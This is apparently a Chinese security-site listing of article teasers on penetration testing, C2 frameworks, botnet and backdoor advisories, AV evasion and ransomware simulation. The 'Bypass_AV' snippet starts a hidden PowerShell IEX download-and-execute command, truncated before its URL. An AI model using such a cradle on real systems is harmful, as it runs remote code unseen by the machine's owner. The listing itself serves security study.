关于ICMP-TransferTools ICMP-TransferTools是一款功能强大的文件传输工具,可以帮助广大研究人员在受限网络环境中通过ICMP与Windows主机之...
【技术分享】PowerShell渗透测试利器--Nishang
山东新潮信息专业|专注|卓越|安全声明:Cmdgaga小伙伴原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行...
PowerShell:概述
在渗透测试中,PowerShell是不能忽略的一个环节,而且仍在不断地更新和发展,它具有令人难以置信的灵活性和功能化管理Windows系统的能力。一旦攻击者可以在一台计算机上运行代码,就会下载Powe...
安全应急响应指南(Windows应急响应)
一、前言本次演示的windows机器为Windows server 2008二、服务1.开始--->管理工具--->服务:2.command+ R --->msconfig ---&...
内网渗透基础(三)CobaltStrike基础
CobaltStrike基础 1. CobaltStrike简答介绍 CS的启动方式,在cs文件夹下执行 teamserver 具体格式位:./ teamserver 服务器IP地址 登录密码,然后在...
Vollgar 僵尸网络威胁安全通告
一、威胁详情近日,Guardicore Labs团队发布了一份名为Vollgar的加密挖矿僵尸网络的分析报告,攻击者利用该僵尸网络从2018年5月开始,针对目标的MS-SQL进行暴力猜解,成功登录目标...
攻击技术研判 |利用开源软件包安装程序Chocolately落地的新型后门
情报背景Proofpoint团队近日发现了一种利用合法开源软件包安装程序Chocolatey来实现后门的独特攻击,后门被命名为Serpent。在本次事件中,攻击者利用合法的Python代码实现通信以绕...
神兵利器 - C2 框架
文章来源 :Khan安全攻防实验室 PoshC2 主要是用 Python3 编写的,遵循模块化格式,使用户...
通过趋势科技 Managed XDR (MDR) 分析与 ProxyShell 相关的攻击示例
更多全球网络安全资讯尽在邑安全我们将在本文中介绍攻击示例中被利用的 ProxyShell 漏洞,并深入探讨在涉及这些 Web Shell 攻击的四个独立示例中使用的Post-exploitation示...
Bypass_AV - Powershell命令免杀
0x01 前言powershell.exe -nop -w hidden -c "IEX ((new-object net.web...
powershell运行netcat
前言大家都知道,powershell可以做到在内存中加载运行文件,做到无文件在硬盘上生成。正文渗透中大家常用的技巧比如nc监听、mimikatz密码抓取等,今天给大家介绍下利用ps执行nc做到变相免杀...
如何使用PSRansom进行勒索软件安全分析
关于PSRansom PSRansom是一款带有C2服务器功能的PowerShell勒索软件模拟工具,该工具可以帮助广大研究人员模拟针对任何操作系统平台(只要安装了PowerSh...
70